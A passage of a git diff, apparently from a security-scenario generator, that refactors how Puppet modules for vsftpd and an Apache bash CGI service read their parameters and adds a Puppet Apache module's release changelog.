JSON.parse(@json_inputs) - $port = $secgen_parameters['port'].first + $port = @secgen_parameters['port'].first %> # This file is managed by puppet # diff --git a/modules/services/unix/ftp/vsftpd/vsftpd.pp b/modules/services/unix/ftp/vsftpd/vsftpd.pp index bd32ef635..7c4b9117f 100644 --- a/modules/services/unix/ftp/vsftpd/vsftpd.pp +++ b/modules/services/unix/ftp/vsftpd/vsftpd.pp @@ -1,3 +1,5 @@ +$secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + user { 'user': ensure => 'present', home => '/home/user', @@ -14,7 +16,6 @@ file { ['/home/user/testfile', '/home/user/testdir/test']: ensure => 'file', } -$json_inputs = base64('decode', $::base64_inputs) class { 'vsftpd': template => 'vsftpd/vsftpd.conf.erb', diff --git a/modules/services/unix/http/apache_bash_cgi/secgen_metadata.xml b/modules/services/unix/http/apache_bash_cgi/secgen_metadata.xml index 19b2d9839..dac6573e3 100644 --- a/modules/services/unix/http/apache_bash_cgi/secgen_metadata.xml +++ b/modules/services/unix/http/apache_bash_cgi/secgen_metadata.xml @@ -8,7 +8,7 @@ MIT Hosts a bash CGI script on a default apache installation. - httpd + http_bash unix https://httpd.apache.org/ diff --git a/modules/services/unix/http/apache_kali_compatible/apache/CHANGELOG.md b/modules/services/unix/http/apache_kali_compatible/apache/CHANGELOG.md new file mode 100644 index 000000000..7c8fa2b83 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/CHANGELOG.md @@ -0,0 +1,894 @@ +# Change log + +All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org). + +## Supported Release [2.0.0] +### Summary +Major release **removing Puppet 3 support** and other backwards-incompatible changes. + +#### Added +- support for FileETag directive configurable with the `file_e_tag` parameter +- ability to configure multiple ports per vhost +- RequestHeader directive to vhost template ([MODULES-4156](https://tickets.puppet.com/browse/MODULES-4156)) +- customizability for AllowOverride directive in userdir.conf ([MODULES-4516](https://tickets.puppet.com/browse/MODULES-4516)) +- AdvertiseFrequency directive for cluster.conf ([MODULES-4500](https://tickets.puppet.com/browse/MODULES-4500)) +- `ssl_proxy_protocol` and `ssl_sessioncache` parameters for mod::ssl ([MODULES-4737](https://tickets.puppet.com/browse/MODULES-4737)) +- SSLCACertificateFile directive in ssl.conf configurable with `ssl_ca` parameter +- mod::authnz_pam +- mod::intercept_form_submit +- mod::lookup_identity +- Suse compatibility for mod::proxy_html +- support for AddCharset directive configurable with `add_charset` parameter +- support for SSLProxyVerifyDepth and SSLProxyCACertificateFile directives configurable with `ssl_proxy_verify_depth` and `ssl_proxy_ca_cert` respectively +- `manage_security_crs` parameter for mod::security +- support for LimitExcept directive configurable with `limit_except` parameter +- support for WSGIRestrictEmbedded directive configurable with `wsgi_restrict_embedded` parameter +- support for custom UserDir path ([MODULES-4933](https://tickets.puppet.com/browse/MODULES-4933)) +- support for PassengerMaxRequests directive configurable with `passenger_max_requests` +- option to override module package names with `mod_packages` parameter ([MODULES-3838](https://tickets.puppet.com/browse/MODULES-3838)) + +#### Removed +- enclose_ipv6 as it was added to puppetlabs-stdlib +- deprecated `$verifyServerCert` parameter from the `apache::mod::authnz_ldap` class ([MODULES-4445](https://tickets.puppet.com/browse/MODULES-4445)) + +#### Changed +- `keepalive` default to 'On' from 'Off' +- Puppet version compatibility to ">= 4.7.0 < 6.0.0" +- puppetlabs-stdlib dependency to ">= 4.12.0 < 5.0.0" +- `ssl_cipher` to explicitly disable 3DES because of Sweet32 + +#### Fixed +- various issues in the vhost template +- use of deprecated `include_src` parameter in vhost_spec +- management of ssl.conf on RedHat systems +- various SLES/Suse params +- mod::cgi ordering for FreeBSD +- issue where ProxyPreserveHost could not be set without other Proxy* directives +- the module attempting to install proxy_html on Ubuntu Xenial and Debian Stretch + +## Supported Release [1.11.0] +### Summary +This release adds SLES12 Support and many more features and bugfixes. + +#### Features +- (MODULES-4049) Adds SLES 12 Support +- Adds additional directories options for LDAP Auth + - `auth_ldap_url` + - `auth_ldap_bind_dn` + - `auth_ldap_bind_password` + - `auth_ldap_group_attribute` + - `auth_ldap_group_attribute_is_dn` +- Allows `mod_event` parameters to be unset +- Allows management of default root directory access rights +- Adds class `apache::vhosts` to create apache::vhost resources +- Adds class `apache::mod::proxy_wstunnel` +- Adds class `apache::mod::dumpio` +- Adds class `apache::mod::socache_shmcb` +- Adds class `apache::mod::authn_dbd` +- Adds support for apache 2.4 on Amazon Linux +- Support the newer `mod_auth_cas` config options +- Adds `wsgi_script_aliases_match` parameter to `apache::vhost` +- Allow to override all SecDefaultAction attributes +- Add audit_log_relevant_status parameter to apache::mod::security +- Allow absolute path to $apache::mod::security::activated_rules +- Allow setting SecAuditLog +- Adds `passenger_max_instances_per_app` to `mod::passenger` +- Allow the proxy_via setting to be configured +- Allow no_proxy_uris to be used within proxy_pass +- Add rpaf.conf template parameter to `mod::rpaf` +- Allow user to specify alternative package and library names for shibboleth module +- Allows configuration of shibboleth lib path +- Adds parameter `passenger_data_buffer_dir` to `mod::passenger` +- Adds SSL stapling +- Allows use of `balance_manager` with `mod_proxy_balancer` +- Raises lower bound of `stdlib` dependency to version 4.2 +- Adds support for Passenger repo on Amazon Linux +- Add ability to set SSLStaplingReturnResponderErrors on server level +- (MODULES-4213) Allow global rewrite rules inheritance in vhosts +- Moves `mod_env` to its own class and load it when required + +#### Bugfixes +- Deny access to .ht and .hg, which are created by mercurial hg. +- Instead of failing, include apache::mod::prefork in manifests/mod/itk.pp instead. +- Only set SSLCompression when it is set to true. +- Remove duplicate shib2 hash element +- (MODULES-3388) Include mpm_module classes instead of class declaration +- Updates `apache::balancer` to respect `apache::confd_dir` +- Wrap mod_security directives in an IfModule +- Fixes to various mods for Ubuntu Xenial +- Fix /etc/modsecurity perms to match package +- Fix PassengerRoot under Debian stretch +- (MODULES-3476) Updates regex in apache_version custom fact to work with EL5 +- Dont sql_injection_attacks.data +- Add force option to confd file resource to purge directory without warnings +- Patch httpoxy through mod_security +- Fixes config ordering of IncludeOptional +- Fixes bug where port numbers were unquoted +- Fixes bug where empty servername for vhost were written to template +- Auto-load `slotmem_shm` and `lbmethod_byrequests` with `proxy_balancer` on 2.4 +- Simplify MPM setup on FreeBSD +- Adds requirement for httpd package +- Do not set ssl_certs_dir on FreeBSD +- Fixes bug that produces a duplicate `Listen 443` after a package update on EL7 +- Fixes bug where custom facts break structured facts +- Avoid relative classname inclusion +- Fixes a failure in `vhost` if the first element of `$rewrites` is not a hash +- (MODULES-3744) Process $crs_package before $modsec_dir +- (MODULES-1491) Adds `::apache` include to mods that need it + +## Supported Release [1.10.0] +#### Summary +This release fixes backwards compatibility bugs introduced in 1.9.0. Also includes a new mod class and a new vhost feature. + +#### Features +- Allow setting KeepAlive related options per vhost + - `apache::vhost::keepalive` + - `apache::vhost::keepalive_timeout` + - `apache::vhost::max_keepalive_requests` +- Adds new class `apache::mod::cluster` + +#### Bugfixes +- MODULES-2890: Allow php_version != 5 +- MODULES-2890: mod::php: Explicit test on jessie +- MODULES-2890: Fix PHP on Debian stretch and Ubuntu Xenial +- MODULES-2890: Fix mod_php SetHandler and cleanup +- Fixed trailing slash in lib_path on Suse +- Revert "MODULES-2956: Enable options within location block on proxy_match". Bug introduced in release 1.9.0. +- Revert "changed rpaf Configuration Directives: RPAF -> RPAF_". Bug introduced in release 1.9.0. +- Set actual path to apachectl on FreeBSD. Fixes snippets verification. + +## Supported Release [1.9.0] [DELETED] +#### Features +- Added `apache_version` fact +- Added `apache::balancer::target` attribute +- Added `apache::fastcgi::server::pass_header` attribute +- Added ability for `apache::fastcgi::server::host` using sockets +- Added `apache::root_directory_options` attribute +- Added for `apache::mod::ldap`: + - `ldap_shared_cache_size` + - `ldap_cache_entries` + - `ldap_cache_ttl` + - `ldap_opcache_entries` + - `ldap_opcache_ttl` +- Added `apache::mod::pagespeed::package_ensure` attribute +- Added `apache::mod::passenger` attributes: + - `passenger_log_level` + - `manage_repo` +- Added upstream repo for `apache::mod::passenger` +- Added `apache::mod::proxy_fcgi` class +- Added `apache::mod::security` attributes: + - `audit_log_parts` + - `secpcrematchlimit` + - `secpcrematchlimitrecursion` + - `secdefaultaction` + - `anomaly_score_blocking` + - `inbound_anomaly_threshold` + - `outbound_anomaly_threshold` +- Added `apache::mod::ssl` attributes: + - `ssl_mutex` + - `apache_version` +- Added ubuntu 16.04 support +- Added `apache::mod::authnz_ldap::package_name` attribute +- Added `apache::mod::ldap::package_name` attribute +- Added `apache::mod::proxy::package_name` attribute +- Added `apache::vhost` attributes: + - `ssl_proxy_check_peen_expire` + - `ssl_proxy_protocol` + - `logroot_owner` + - `logroot_group` + - `setenvifnocase` + - `passenger_user` + - `passenger_high_performance` + - `jk_mounts` + - `fastcgi_idle_timeout` + - `modsec_disable_msgs` + - `modsec_disable_tags` +- Added ability for 2.4-style `RequireAll|RequireNone|RequireAny` directory permissions +- Added ability for includes in vhost directory +- Added directory values: + - `AuthMerging` + - `MellonSPMetadataFile` +- Adds Configurability of Collaborative Detection Severity Levels for OWASP Core Rule Set to `apache::mod::security` class + - `critical_anomaly_score` + - `error_anomaly_score` + - `warning_anomaly_score` + - `notice_anomaly_score` +- Adds ability to configure `info_path` in `apache::mod::info` class +- Adds ability to configure `verify_config` in `apache::vhost::custom` + +#### Bugfixes +- Fixed apache mod setup for event/worker failing syntax +- Fixed concat deprecation warnings +- Fixed pagespeed mod +- Fixed service restart on mod update +- Fixed mod dir purging to happen after package installs +- Fixed various `apache::mod::*` file modes +- Fixed `apache::mod::authnz_ldap` parameter `verifyServerCert` to be `verify_server_cert` +- Fixed loadfile name in `apache::mod::fcgid` +- Fixed `apache::mod::remoteip` to fail on apache < 2.4 (because it is not available) +- Fixed `apache::mod::ssl::ssl_honorcipherorder` interpolation +- Lint fixes +- Strict variable fixes +- Fixed `apache::vhost` attribute `redirectmatch_status` to be optional +- Fixed SSLv3 on by default in mod\_nss +- Fixed mod\_rpaf directive names in template +- Fixed mod\_worker needing MaxClients with ThreadLimit +- Fixed quoting on vhost php\_value +- Fixed xml2enc for proxy\_html on debian +- Fixed a problem where the apache service restarts too fast + +## Supported Release [1.8.1] +### Summary +This release includes bug fixes and a documentation update. + +#### Bugfixes +- Fixes a bug that occurs when using the module in combination with puppetlabs-concat 2.x. +- Fixes a bug where passenger.conf was vulnerable to purging. +- Removes the pin of the concat module dependency. + +## Supported Release [1.8.0] +### Summary +This release includes a lot of bug fixes and feature updates, including support for Debian 8, as well as many test improvements. + +#### Features +- Debian 8 Support. +- Added the 'file_mode' property to allow a custom permission setting for config files. +- Enable 'PassengerMaxRequestQueueSize' to be set for mod_passenger. +- MODULES-2956: Enable options within location block on proxy_match. +- Support itk on redhat. +- Support the mod_ssl SSLProxyVerify directive. +- Support ProxPassReverseCookieDomain directive (mod_proxy). +- Support proxy provider for vhost directories. +- Added new 'apache::vhost::custom' resource. + +#### Bugfixes +- Fixed ProxyPassReverse configuration. +- Fixed error in Amazon operatingsystem detection. +- Fixed mod_security catalog ordering issues for RedHat 7. +- Fixed paths and packages for the shib2 apache module on Debian pre Jessie. +- Fixed EL7 directory path for apache modules. +- Fixed validation error when empty array is passed for the rewrites parameter. +- Idempotency fixes with regards to '::apache::mod_enable_dir'. +- ITK fixes. +- (MODULES-2865) fix $mpm_module logic for 'false'. +- Set SSLProxy directives even if ssl is false, due to issue with RewriteRules and ProxyPass directives. +- Enable setting LimitRequestFieldSize globally, and remove it from vhost. + +#### Improvements +- apache::mod::php now uses FilesMatch to configure the php handler. This is following the recommended upstream configuration guidelines (http://php.net/manual/en/install.unix.apache2.php#example-20) and distribution's default config (e.g.: http://bazaar.launchpad.net/~ubuntu-branches/ubuntu/vivid/php5/vivid/view/head:/debian/php5.conf). It avoids inadvertently exposing the PHP handler to executing uploads with names like 'file.php.jpg', but might impact setups with unusual requirements. +- Improved compatibility for Gentoo. +- Vhosts can now be supplied with a wildcard listen value. +- Numerous test improvements. +- Removed workarounds for https://bz.apache.org/bugzilla/show_bug.cgi?id=38864 as the issues have been fixed in Apache. +- Documentation updates. +- Ensureed order of ProxyPass and ProxyPassMatch parameters. +- Ensure that ProxyPreserveHost is set to off mode explicitly if not set in manifest. +- Put headers and request headers before proxy with regards to template generation. +- Added X-Forwarded-For into log_formats defaults. +- (MODULES-2703) Allow mod pagespeed to take an array of lines as additional_configuration. + +## Supported Release [1.7.1] +###Summary + +Small release for support of newer PE versions. This increments the version of PE in the metadata.json file. + +## Supported Release [1.7.0] +### Summary +This release includes many new features and bugfixes. There are test, documentation and misc improvements. + +#### Features +- allow groups with - like vhost-users +- ability to enable/disable the secruleengine through a parameter +- add mod_auth_kerb parameters to vhost +- client auth for reverse proxy +- support for mod_auth_mellon +- change SSLProtocol in apache::vhost to be space separated +- RewriteLock support + +#### Bugfixes +- fix apache::mod::cgid so it can be used with the event MPM +- load unixd before fcgid on all operating systems +- fixes conditional in vhost aliases +- corrects mod_cgid worker/event defaults +- ProxyPassMatch parameters were ending up on a newline +- catch that mod_authz_default has been removed in Apache 2.4 +- mod::ssl fails on SLES +- fix typo of MPM_PREFORK for FreeBSD package install +- install all modules before adding custom configs +- fix acceptance testing for SSLProtocol behaviour for real +- fix ordering issue with conf_file and ports_file + +#### Known Issues +- mod_passenger is having issues installing on Redhat/Centos 6, This is due to package dependency issues. + +#### Improvements +- added docs for forcetype directive +- removes ruby 1.8.7 from the travisci test matrix +- readme reorganisation, minor fixups +- support the mod_proxy ProxyPassReverseCookiePath directive +- the purge_vhost_configs parameter is actually called purge_vhost_dir +- add ListenBacklog for mod worker +- deflate application/json by default +- install mod_authn_alias as default mod in debian for apache < 2.4 +- optionally set LimitRequestFieldSize on an apache::vhost +- add SecUploadDir parameter to support file uploads with mod_security +- optionally set parameters for mod_ext_filter module +- allow SetOutputFilter to be set on a directory +- RC4 is deprecated +- allow empty docroot +- add option to configure the include pattern for the vhost_enable dir +- allow multiple IP addresses per vhost +- default document root update for Ubuntu 14.04 and Debian 8 + +## Supported Release [1.6.0] +### Summary +This release includes a couple of new features, along with test and documentation updates, and support for the latest AIO puppet builds. + +#### Features +- Add `scan_proxy_header_field` parameter to `apache::mod::geoip` +- Add `ssl_openssl_conf_cmd` parameter to `apache::vhost` and `apache::mod::ssl` +- Add `filters` parameter to `apache::vhost` + +#### Bugfixes +- Test updates +- Do not use systemd on Amazon Linux +- Add missing docs for `timeout` parameter (MODULES-2148) + +## Supported Release [1.5.0] +### Summary +This release primarily adds Suse compatibility. It also adds a handful of other +parameters for greater configuration control. + +#### Features +- Add `apache::lib_path` parameter +- Add `apache::service_restart` parameter +- Add `apache::vhost::geoip_enable` parameter +- Add `apache::mod::geoip` class +- Add `apache::mod::remoteip` class +- Add parameters to `apache::mod::expires` class +- Add `index_style_sheet` handling to `apache::vhost::directories` +- Add some compatibility for SLES 11 +- Add `apache::mod::ssl::ssl_sessioncachetimeout` parameter +- Add `apache::mod::ssl::ssl_cryptodevice` parameter +- Add `apache::mod::ssl::ssl_honorcipherorder` parameter +- Add `apache::mod::userdir::options` parameter + +#### Bugfixes +- Document `apache::user` parameter +- Document `apache::group` parameter +- Fix apache::dev on FreeBSD +- Fix proxy\_connect on apache >= 2.2 +- Validate log levels better +- Fix `apache::apache_name` for package and vhost +- Fix Debian Jessie mod\_prefork package name +- Fix alias module being declared even when vhost is absent +- Fix proxy\_pass\_match handling in vhost's proxy template +- Fix userdir access permissions +- Fix issue where the module was trying to use systemd on Amazon Linux. + +## Supported Release [1.4.1] + +This release corrects a metadata issue that has been present since release 1.2.0. The refactoring of `apache::vhost` to use `puppetlabs-concat` requires a version of concat newer than the version required in PE. If you are using PE 3.3.0 or earlier you will need to use version 1.1.1 or earlier of the `puppetlabs-apache` module. + +## Supported Release [1.4.0] +###Summary + +This release fixes the issue where the docroot was still managed even if the default vhosts were disabled and has many other features and bugfixes including improved support for 'deny' and 'require' as arrays in the 'directories' parameter under `apache::vhost` + +#### Features +- New parameters to `apache` + - `default_charset` + - `default_type` +- New parameters to `apache::vhost` + - `proxy_error_override` + - `passenger_app_env` (MODULES-1776) + - `proxy_dest_match` + - `proxy_dest_reverse_match` + - `proxy_pass_match` + - `no_proxy_uris_match` +- New parameters to `apache::mod::passenger` + - `passenger_app_env` + - `passenger_min_instances` +- New parameter to `apache::mod::alias` + - `icons_options` +- New classes added under `apache::mod::*` + - `authn_file` + - `authz_default` + - `authz_user` +- Added support for 'deny' as an array in 'directories' under `apache::vhost` +- Added support for RewriteMap +- Improved support for FreeBSD. (Note: If using apache < 2.4.12, see the discussion [here](https://github.com/puppetlabs/puppetlabs-apache/pull/1030)) +- Added check for deprecated options in directories and fail when they are unsupported +- Added gentoo compatibility +- Added proper array support for `require` in the `directories` parameter in `apache::vhost` +- Added support for `setenv` inside proxy locations + +### Bugfixes +- Fix issue in `apache::vhost` that was preventing the scriptalias fragment from being included (MODULES-1784) +- Install required `mod_ldap` package for EL7 (MODULES-1779) +- Change default value of `maxrequestworkers` in `apache::mod::event` to be a multiple of the default `ThreadsPerChild` of 25. +- Use the correct `mod_prefork` package name for trusty and jessie +- Don't manage docroot when default vhosts are disabled +- Ensure resources notify `Class['Apache::Service']` instead of `Service['httpd']` (MODULES-1829) +- Change the loadfile name for `mod_passenger` so `mod_proxy` will load by default before `mod_passenger` +- Remove old Debian work-around that removed `passenger_extra.conf` + +## Supported Release [1.3.0] +### Summary + +This release has many new features and bugfixes, including the ability to optionally not trigger service restarts on config changes. + +#### Features +- New parameters - `apache` + - `service_manage` + - `use_optional_includes` +- New parameters - `apache::service` + - `service_manage` +- New parameters - `apache::vhost` + - `access_logs` + - `php_flags` + - `php_values` + - `modsec_disable_vhost` + - `modsec_disable_ids` + - `modsec_disable_ips` + - `modsec_body_limit` +- Improved FreeBSD support +- Add ability to omit priority prefix if `$priority` is set to false +- Add `apache::security::rule_link` define +- Improvements to `apache::mod::*` + - Add `apache::mod::auth_cas` class + - Add `threadlimit`, `listenbacklog`, `maxrequestworkers`, `maxconnectionsperchild` parameters to `apache::mod::event` + - Add `apache::mod::filter` class + - Add `root_group` to `apache::mod::php` + - Add `apache::mod::proxy_connect` class + - Add `apache::mod::security` class + - Add `ssl_pass_phrase_dialog` and `ssl_random_seed_bytes` parameters to `apache::mod::ssl` (MODULES-1719) + - Add `status_path` parameter to `apache::mod::status` + - Add `apache_version` parameter to `apache::mod::version` + - Add `package_name` and `mod_path` parameters to `apache::mod::wsgi` (MODULES-1458) +- Improved SCL support + - Add support for specifying the docroot +- Updated `_directories.erb` to add support for SetEnv +- Support multiple access log directives (MODULES-1382) +- Add passenger support for Debian Jessie +- Add support for not having puppet restart the apache service (MODULES-1559) + +#### Bugfixes +- For apache 2.4 `mod_itk` requires `mod_prefork` (MODULES-825) +- Allow SSLCACertificatePath to be unset in `apache::vhost` (MODULES-1457) +- Load fcgid after unixd on RHEL7 +- Allow disabling default vhost for Apache 2.4 +- Test fixes +- `mod_version` is now built-in (MODULES-1446) +- Sort LogFormats for idempotency +- `allow_encoded_slashes` was omitted from `apache::vhost` +- Fix documentation bug (MODULES-1403, MODULES-1510) +- Sort `wsgi_script_aliases` for idempotency (MODULES-1384) +- lint fixes +- Fix automatic version detection for Debian Jessie +- Fix error docs and icons path for RHEL7-based systems (MODULES-1554) +- Sort php_* hashes for idempotency (MODULES-1680) +- Ensure `mod::setenvif` is included if needed (MODULES-1696) +- Fix indentation in `vhost/_directories.erb` template (MODULES-1688) +- Create symlinks on all distros if `vhost_enable_dir` is specified + +## Supported Release [1.2.0] +### Summary + +This release features many improvements and bugfixes, including several new defines, a reworking of apache::vhost for more extensibility, and many new parameters for more customization. This release also includes improved support for strict variables and the future parser. + +#### Features +- Convert apache::vhost to use concat for easier extensions +- Test improvements +- Synchronize files with modulesync +- Strict variable and future parser support +- Added apache::custom_config defined type to allow validation of configs before they are created +- Added bool2httpd function to convert true/false to apache 'On' and 'Off'. Intended for internal use in the module. +- Improved SCL support + - allow overriding of the mod_ssl package name +- Add support for reverse_urls/ProxyPassReverse in apache::vhost +- Add satisfy directive in apache::vhost::directories +- Add apache::fastcgi::server defined type +- New parameters - apache + - allow_encoded_slashes + - apache_name + - conf_dir + - default_ssl_crl_check + - docroot + - logroot_mode + - purge_vhost_dir +- New parameters - apache::vhost + - add_default_charset + - allow_encoded_slashes + - logroot_ensure + - logroot_mode + - manage_docroot + - passenger_app_root + - passenger_min_instances + - passenger_pre_start + - passenger_ruby + - passenger_start_timeout + - proxy_preserve_host + - redirectmatch_dest + - ssl_crl_check + - wsgi_chunked_request + - wsgi_pass_authorization +- Add support for ScriptAlias and ScriptAliasMatch in the apache::vhost::aliases parameter +- Add support for rewrites in the apache::vhost::directories parameter +- If the service_ensure parameter in apache::service is set to anything other than true, false, running, or stopped, ensure will not be passed to the service resource, allowing for the service to not be managed by puppet +- Turn of SSLv3 by default +- Improvements to apache::mod* + - Add restrict_access parameter to apache::mod::info + - Add force_language_priority and language_priority parameters to apache::mod::negotiation + - Add threadlimit parameter to apache::mod::worker + - Add content, template, and source parameters to apache::mod::php + - Add mod_authz_svn support via the authz_svn_enabled parameter in apache::mod::dav_svn + - Add loadfile_name parameter to apache::mod + - Add apache::mod::deflate class + - Add options parameter to apache::mod::fcgid + - Add timeouts parameter to apache::mod::reqtimeout + - Add apache::mod::shib + - Add apache_version parameter to apache::mod::ldap + - Add magic_file parameter to apache::mod::mime_magic + - Add apache_version parameter to apache::mod::pagespeed + - Add passenger_default_ruby parameter to apache::mod::passenger + - Add content, template, and source parameters to apache::mod::php + - Add apache_version parameter to apache::mod::proxy + - Add loadfiles parameter to apache::mod::proxy_html + - Add ssl_protocol and package_name parameters to apache::mod::ssl + - Add apache_version parameter to apache::mod::status + - Add apache_version parameter to apache::mod::userdir + - Add apache::mod::version class + +#### Bugfixes +- Set osfamily defaults for wsgi_socket_prefix +- Support multiple balancermembers with the same url +- Validate apache::vhost::custom_fragment +- Add support for itk with mod_php +- Allow apache::vhost::ssl_certs_dir to not be set +- Improved passenger support for Debian +- Improved 2.4 support without mod_access_compat +- Support for more than one 'Allow from'-directive in _directories.erb +- Don't load systemd on Amazon linux based on CentOS6 with apache 2.4 +- Fix missing newline in ModPagespeed filter and memcached servers directive +- Use interpolated strings instead of numbers where required by future parser +- Make auth_require take precedence over default with apache 2.4 +- Lint fixes +- Set default for php_admin_flags and php_admin_values to be empty hash instead of empty array +- Correct typo in mod::pagespeed +- spec_helper fixes +- Install mod packages before dealing with the configuration +- Use absolute scope to check class definition in apache::mod::php +- Fix dependency loop in apache::vhost +- Properly scope variables in the inline template in apache::balancer +- Documentation clarification, typos, and formatting +- Set apache::mod::ssl::ssl_mutex to default for debian on apache >= 2.4 +- Strict variables fixes +- Add authn_core mode to Ubuntu trusty defaults +- Keep default loadfile for authz_svn on Debian +- Remove '.conf' from the site-include regexp for better Ubuntu/Debian support +- Load unixd before fcgid for EL7 +- Fix RedirectMatch rules +- Fix misleading error message in apache::version + +#### Known Bugs +* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. +* SLES is unsupported. + +## Supported Release [1.1.1] +### Summary + +This release merely updates metadata.json so the module can be uninstalled and +upgraded via the puppet module command. + +## Supported Release [1.1.0] + +### Summary + +This release primarily focuses on extending the httpd 2.4 support, tested +through adding RHEL7 and Ubuntu 14.04 support. It also includes Passenger +4 support, as well as several new modules and important bugfixes. + +#### Features + +- Add support for RHEL7 and Ubuntu 14.04 +- More complete apache24 support +- Passenger 4 support +- Add support for max_keepalive_requests and log_formats parameters +- Add mod_pagespeed support +- Add mod_speling support +- Added several parameters for mod_passenger +- Added ssl_cipher parameter to apache::mod::ssl +- Improved examples in documentation +- Added docroot_mode, action, and suexec_user_group parameters to apache::vhost +- Add support for custom extensions for mod_php +- Improve proxy_html support for Debian + +#### Bugfixes + +- Remove NameVirtualHost directive for apache >= 2.4 +- Order proxy_set option so it doesn't change between runs +- Fix inverted SSL compression +- Fix missing ensure on concat::fragment resources +- Fix bad dependencies in apache::mod and apache::mod::mime + +#### Known Bugs +* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. +* SLES is unsupported. + +## Supported Release [1.0.1] +### Summary + +This is a supported release. This release removes a testing symlink that can +cause trouble on systems where /var is on a seperate filesystem from the +modulepath. + +#### Features +#### Bugfixes +#### Known Bugs +* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. +* SLES is unsupported. + +## Supported Release [1.0.0] +### Summary + +This is a supported release. This release introduces Apache 2.4 support for +Debian and RHEL based osfamilies. + +#### Features + +- Add apache24 support +- Add rewrite_base functionality to rewrites +- Updated README documentation +- Add WSGIApplicationGroup and WSGIImportScript directives + +#### Bugfixes + +- Replace mutating hashes with merge() for Puppet 3.5 +- Fix WSGI import_script and mod_ssl issues on Lucid + +#### Known Bugs +* By default, the version of Apache that ships with Ubuntu 10.04 does not work with `wsgi_import_script`. +* SLES is unsupported. + +--- + +## Supported Release [0.11.0] +### Summary: + +This release adds preliminary support for Windows compatibility and multiple rewrite support. + +#### Backwards-incompatible Changes: + +- The rewrite_rule parameter is deprecated in favor of the new rewrite parameter + and will be removed in a future release. + +#### Features: + +- add Match directive +- quote paths for windows compatibility +- add auth_group_file option to README.md +- allow AuthGroupFile directive for vhosts +- Support Header directives in vhost context +- Don't purge mods-available dir when separate enable dir is used +- Fix the servername used in log file name +- Added support for mod_include +- Remove index parameters. +- Support environment variable control for CustomLog +- added redirectmatch support +- Setting up the ability to do multiple rewrites and conditions. +- Convert spec tests to beaker. +- Support php_admin_(flag|value)s + +#### Bugfixes: + +- directories are either a Hash or an Array of Hashes +- Configure Passenger in separate .conf file on RH so PassengerRoot isn't lost +- (docs) Update list of `apache::mod::[name]` classes +- (docs) Fix apache::namevirtualhost example call style +- Fix $ports_file reference in apache::listen. +- Fix $ports_file reference in Namevirtualhost. + + +## Supported Release [0.10.0] +### Summary: + +This release adds FreeBSD osfamily support and various other improvements to some mods. + +#### Features: + +- Add suPHP_UserGroup directive to directory context +- Add support for ScriptAliasMatch directives +- Set SSLOptions StdEnvVars in server context +- No implicit entry for ScriptAlias path +- Add support for overriding ErrorDocument +- Add support for AliasMatch directives +- Disable default "allow from all" in vhost-directories +- Add WSGIPythonPath as an optional parameter to mod_wsgi. +- Add mod_rpaf support +- Add directives: IndexOptions, IndexOrderDefault +- Add ability to include additional external configurations in vhost +- need to use the provider variable not the provider key value from the directory hash for matches +- Support for FreeBSD and few other features +- Add new params to apache::mod::mime class +- Allow apache::mod to specify module id and path +- added $server_root parameter +- Add Allow and ExtendedStatus support to mod_status +- Expand vhost/_directories.pp directive support +- Add initial support for nss module (no directives in vhost template yet) +- added peruser and event mpms +- added $service_name parameter +- add parameter for TraceEnable +- Make LogLevel configurable for server and vhost +- Add documentation about $ip +- Add ability to pass ip (instead of wildcard) in default vhost files + +#### Bugfixes: + +- Don't listen on port or set NameVirtualHost for non-existent vhost +- only apply Directory defaults when provider is a directory +- Working mod_authnz_ldap support on Debian/Ubuntu + +## Supported Release [0.9.0] +### Summary: +This release adds more parameters to the base apache class and apache defined +resource to make the module more flexible. It also adds or enhances SuPHP, +WSGI, and Passenger mod support, and support for the ITK mpm module. + +#### Backwards-incompatible Changes: +- Remove many default mods that are not normally needed. +- Remove `rewrite_base` `apache::vhost` parameter; did not work anyway. +- Specify dependencies on stdlib >=2.4.0 (this was already the case, but +making explicit) +- Deprecate `a2mod` in favor of the `apache::mod::*` classes and `apache::mod` +defined resource. + +#### Features: +- `apache` class + - Add `httpd_dir` parameter to change the location of the configuration + files. + - Add `logroot` parameter to change the logroot + - Add `ports_file` parameter to changes the `ports.conf` file location + - Add `keepalive` parameter to enable persistent connections + - Add `keepalive_timeout` parameter to change the timeout + - Update `default_mods` to be able to take an array of mods to enable. +- `apache::vhost` + - Add `wsgi_daemon_process`, `wsgi_daemon_process_options`, + `wsgi_process_group`, and `wsgi_script_aliases` parameters for per-vhost + WSGI configuration. + - Add `access_log_syslog` parameter to enable syslogging. + - Add `error_log_syslog` parameter to enable syslogging of errors. + - Add `directories` hash parameter. Please see README for documentation. + - Add `sslproxyengine` parameter to enable SSLProxyEngine + - Add `suphp_addhandler`, `suphp_engine`, and `suphp_configpath` for + configuring SuPHP. + - Add `custom_fragment` parameter to allow for arbitrary apache + configuration injection. (Feature pull requests are prefered over using + this, but it is available in a pinch.) +- Add `apache::mod::suphp` class for configuring SuPHP. +- Add `apache::mod::itk` class for configuring ITK mpm module. +- Update `apache::mod::wsgi` class for global WSGI configuration with +`wsgi_socket_prefix` and `wsgi_python_home` parameters. +- Add README.passenger.md to document the `apache::mod::passenger` usage. +Added `passenger_high_performance`, `passenger_pool_idle_time`, +`passenger_max_requests`, `passenger_stat_throttle_rate`, `rack_autodetect`, +and `rails_autodetect` parameters. +- Separate the httpd service resource into a new `apache::service` class for +dependency chaining of `Class['apache'] -> ~> +Class['apache::service']` +- Added `apache::mod::proxy_balancer` class for `apache::balancer` + +#### Bugfixes: +- Change dependency to puppetlabs-concat +- Fix ruby 1.9 bug for `a2mod` +- Change servername to be `$::hostname` if there is no `$::fqdn` +- Make `/etc/ssl/certs` the default ssl certs directory for RedHat non-5. +- Make `php` the default php package for RedHat non-5. +- Made `aliases` able to take a single alias hash instead of requiring an +array. + +## Supported Release [0.8.1] +#### Bugfixes: +- Update `apache::mpm_module` detection for worker/prefork +- Update `apache::mod::cgi` and `apache::mod::cgid` detection for +worker/prefork + +## Supported Release [0.8.0] +#### Features: +- Add `servername` parameter to `apache` class +- Add `proxy_set` parameter to `apache::balancer` define + +#### Bugfixes: +- Fix ordering for multiple `apache::balancer` clusters +- Fix symlinking for 